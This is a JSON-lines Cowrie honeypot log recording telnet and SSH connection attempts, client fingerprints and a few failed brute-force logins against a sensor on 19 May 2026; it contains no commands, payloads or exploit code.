{"eventid":"cowrie.session.closed","duration":37.71363425254822,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:37.154630Z","src_ip":"192.119.13.58","session":"7c59f217717f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38028,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd188f8267c2","protocol":"telnet","message":"New connection: 192.119.13.58:38028 (10.17.0.5:23) [session: dd188f8267c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:37.604084Z"}
{"eventid":"cowrie.session.closed","duration":40.39331912994385,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:38.321852Z","src_ip":"192.119.13.58","session":"60fc0f048574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.28173851966858,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:47.591773Z","src_ip":"192.119.13.58","session":"63029a0dde71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d7e0e6761bc","protocol":"telnet","message":"New connection: 192.119.13.58:51512 (10.17.0.5:23) [session: 5d7e0e6761bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:09:54.179571Z"}
{"eventid":"cowrie.session.closed","duration":40.28162455558777,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:02.907088Z","src_ip":"192.119.13.58","session":"8b9f01bb36bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"87741b4b51cf","protocol":"telnet","message":"New connection: 192.119.13.58:35808 (10.17.0.5:23) [session: 87741b4b51cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:03.739941Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b5df0aea0b2","protocol":"telnet","message":"New connection: 192.119.13.58:39878 (10.17.0.5:23) [session: 1b5df0aea0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:04.862070Z"}
{"eventid":"cowrie.session.closed","duration":47.747365951538086,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:05.178966Z","src_ip":"192.119.13.58","session":"e8ba372e57c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8440637588501,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:05.916513Z","src_ip":"192.119.13.58","session":"291ead3f0b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7138991355896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:06.239874Z","src_ip":"192.119.13.58","session":"d7c50c3cf542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43358,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54533f13418","protocol":"telnet","message":"New connection: 192.119.13.58:43358 (10.17.0.5:23) [session: d54533f13418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:06.706994Z"}
{"eventid":"cowrie.session.closed","duration":2.802382469177246,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:09.509252Z","src_ip":"192.119.13.58","session":"d54533f13418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33662,"dst_ip":"10.17.0.5","dst_port":23,"session":"911dc60f161c","protocol":"telnet","message":"New connection: 192.119.13.58:33662 (10.17.0.5:23) [session: 911dc60f161c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:10.178613Z"}
{"eventid":"cowrie.session.closed","duration":43.24247694015503,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:10.379647Z","src_ip":"192.119.13.58","session":"0b5311c2181e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38460,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eae42c54596","protocol":"telnet","message":"New connection: 192.119.13.58:38460 (10.17.0.5:23) [session: 8eae42c54596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:11.294438Z"}
{"eventid":"cowrie.session.closed","duration":38.0104341506958,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:13.671344Z","src_ip":"192.119.13.58","session":"c75aa0892bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56440,"dst_ip":"10.17.0.5","dst_port":23,"session":"976dc5d4af59","protocol":"telnet","message":"New connection: 192.119.13.58:56440 (10.17.0.5:23) [session: 976dc5d4af59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:15.758934Z"}
{"eventid":"cowrie.session.closed","duration":52.86157250404358,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:21.080949Z","src_ip":"192.119.13.58","session":"fb7460ad27ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6595253944397,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:22.263447Z","src_ip":"192.119.13.58","session":"dd188f8267c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"8770dc1c98e0","protocol":"telnet","message":"New connection: 192.119.13.58:57698 (10.17.0.5:23) [session: 8770dc1c98e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:22.814667Z"}
{"eventid":"cowrie.session.closed","duration":0.006032466888427734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:22.820558Z","src_ip":"192.119.13.58","session":"8770dc1c98e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f05a430df6ae","protocol":"telnet","message":"New connection: 192.119.13.58:57996 (10.17.0.5:23) [session: f05a430df6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:29.596150Z"}
{"eventid":"cowrie.session.closed","duration":36.99987053871155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:31.179323Z","src_ip":"192.119.13.58","session":"5d7e0e6761bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631322145462036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:34.371121Z","src_ip":"192.119.13.58","session":"87741b4b51cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98843789100647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:35.850370Z","src_ip":"192.119.13.58","session":"1b5df0aea0b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57918,"dst_ip":"10.17.0.5","dst_port":23,"session":"352e39980257","protocol":"telnet","message":"New connection: 192.119.13.58:57918 (10.17.0.5:23) [session: 352e39980257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:35.960817Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36068,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7466e21688","protocol":"telnet","message":"New connection: 192.119.13.58:36068 (10.17.0.5:23) [session: fa7466e21688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:37.424670Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43026,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae51e6fa7bd2","protocol":"telnet","message":"New connection: 192.119.13.58:43026 (10.17.0.5:23) [session: ae51e6fa7bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:45.955207Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":44338,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a50246836e","protocol":"ssh","message":"New connection: 175.118.127.138:44338 (10.17.0.5:22) [session: 19a50246836e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:48.106056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:48.111087Z","src_ip":"175.118.127.138","session":"19a50246836e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:48.288228Z","src_ip":"175.118.127.138","session":"19a50246836e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.43016290664673,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:48.608641Z","src_ip":"192.119.13.58","session":"911dc60f161c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password123","message":"login attempt [user/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:49.027668Z","src_ip":"175.118.127.138","session":"19a50246836e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:50.208637Z","src_ip":"175.118.127.138","session":"19a50246836e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42294,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcf25162f6b","protocol":"ssh","message":"New connection: 87.251.79.125:42294 (10.17.0.5:22) [session: 4dcf25162f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:50.886399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:50.891242Z","src_ip":"87.251.79.125","session":"4dcf25162f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:50.962499Z","src_ip":"87.251.79.125","session":"4dcf25162f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369","message":"login attempt [root/369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:51.176767Z","src_ip":"87.251.79.125","session":"4dcf25162f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38648,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a1eede8eeb","protocol":"telnet","message":"New connection: 192.119.13.58:38648 (10.17.0.5:23) [session: 36a1eede8eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:51.449855Z"}
{"eventid":"cowrie.session.closed","duration":40.54210066795349,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:51.836401Z","src_ip":"192.119.13.58","session":"8eae42c54596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:52.251568Z","src_ip":"87.251.79.125","session":"4dcf25162f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42786,"dst_ip":"10.17.0.5","dst_port":23,"session":"a075596e51c5","protocol":"telnet","message":"New connection: 192.119.13.58:42786 (10.17.0.5:23) [session: a075596e51c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:52.480419Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49496,"dst_ip":"10.17.0.5","dst_port":23,"session":"525492f4e1e0","protocol":"telnet","message":"New connection: 192.119.13.58:49496 (10.17.0.5:23) [session: 525492f4e1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:54.106491Z"}
{"eventid":"cowrie.session.closed","duration":38.7425582408905,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:54.501368Z","src_ip":"192.119.13.58","session":"976dc5d4af59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51602,"dst_ip":"10.17.0.5","dst_port":23,"session":"874b303d47ea","protocol":"telnet","message":"New connection: 192.119.13.58:51602 (10.17.0.5:23) [session: 874b303d47ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:54.605167Z"}
{"eventid":"cowrie.session.closed","duration":0.0061244964599609375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:54.611156Z","src_ip":"192.119.13.58","session":"874b303d47ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"335da8a1648d","protocol":"telnet","message":"New connection: 192.119.13.58:43462 (10.17.0.5:23) [session: 335da8a1648d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:10:59.467417Z"}
{"eventid":"cowrie.session.closed","duration":36.60206460952759,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:06.198099Z","src_ip":"192.119.13.58","session":"f05a430df6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37456,"dst_ip":"10.17.0.5","dst_port":22,"session":"998d362f7bbc","protocol":"ssh","message":"New connection: 193.32.162.145:37456 (10.17.0.5:22) [session: 998d362f7bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:07.363624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:07.369094Z","src_ip":"193.32.162.145","session":"998d362f7bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:07.467042Z","src_ip":"193.32.162.145","session":"998d362f7bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moon","message":"login attempt [ubuntu/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:07.880457Z","src_ip":"193.32.162.145","session":"998d362f7bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56516,"dst_ip":"10.17.0.5","dst_port":23,"session":"f365e5b16c7e","protocol":"telnet","message":"New connection: 192.119.13.58:56516 (10.17.0.5:23) [session: f365e5b16c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:08.842911Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:09.012128Z","src_ip":"193.32.162.145","session":"998d362f7bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42368,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e66d22d9a9d","protocol":"telnet","message":"New connection: 192.119.13.58:42368 (10.17.0.5:23) [session: 2e66d22d9a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:12.179571Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51484,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8e5db54fff","protocol":"telnet","message":"New connection: 192.119.13.58:51484 (10.17.0.5:23) [session: fe8e5db54fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:14.362644Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55870,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c2cb4f9fb7","protocol":"telnet","message":"New connection: 192.119.13.58:55870 (10.17.0.5:23) [session: 14c2cb4f9fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:15.344869Z"}
{"eventid":"cowrie.session.closed","duration":0.005831480026245117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:15.350529Z","src_ip":"192.119.13.58","session":"14c2cb4f9fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57084,"dst_ip":"10.17.0.5","dst_port":23,"session":"f41dbcd298eb","protocol":"telnet","message":"New connection: 192.119.13.58:57084 (10.17.0.5:23) [session: f41dbcd298eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:15.611479Z"}
{"eventid":"cowrie.session.closed","duration":38.66369891166687,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:16.088245Z","src_ip":"192.119.13.58","session":"fa7466e21688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59606,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7a53587088","protocol":"telnet","message":"New connection: 192.119.13.58:59606 (10.17.0.5:23) [session: 8c7a53587088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:16.236274Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33760,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3bfa3b2dea","protocol":"telnet","message":"New connection: 192.119.13.58:33760 (10.17.0.5:23) [session: bb3bfa3b2dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:16.798183Z"}
{"eventid":"cowrie.session.closed","duration":34.10472822189331,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:20.059789Z","src_ip":"192.119.13.58","session":"ae51e6fa7bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.773460149765015,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:21.571525Z","src_ip":"192.119.13.58","session":"bb3bfa3b2dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.67502737045288,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:21.635738Z","src_ip":"192.119.13.58","session":"352e39980257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97874665260315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:24.459039Z","src_ip":"192.119.13.58","session":"a075596e51c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.483566045761108,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:25.719669Z","src_ip":"192.119.13.58","session":"8c7a53587088","protocol":"telnet"}
